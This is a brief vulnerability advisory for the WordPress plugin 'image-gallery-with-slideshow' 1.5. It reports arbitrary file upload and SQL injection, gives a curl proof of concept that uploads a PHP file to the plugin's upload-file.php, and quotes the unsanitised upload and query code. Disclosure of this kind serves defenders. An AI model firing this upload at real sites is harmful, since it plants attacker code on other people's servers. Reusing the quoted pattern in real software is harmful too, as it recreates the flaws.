WordPress Plugin image Gallery with Slideshow 1.5 - Multiple Vulnerabilities

Title: Wordpress image-gallery-with-slideshow plugin <= 1.5 Arbitrary file
upload / SQL injection
Version:1.5
Date: 30-8-2011
Author: Hrvoje Spoljar [ hrvoje.spoljar(at)gmail.com ]
Software link:
http://wordpress.org/extend/plugins/image-gallery-with-slideshow/

PoC:
curl -F "uploadfile=@mycode.php"
http://domain.tld/wp-content/plugins/image-gallery-with-slideshow/upload-file.php

File(s):upload-file.php
Code:
$new_image =time()."_".$_FILES['uploadfile']['name'];
$original_image = $_FILES['uploadfile']['name'];
...
$value_org = move_uploaded_file($_FILES['uploadfile']['tmp_name'],
$file_original);
$insert_query = "INSERT INTO `".$table_prefix."combo_image`
VALUES('','0','".$new_image."','".$original_image."','','','',NOW())";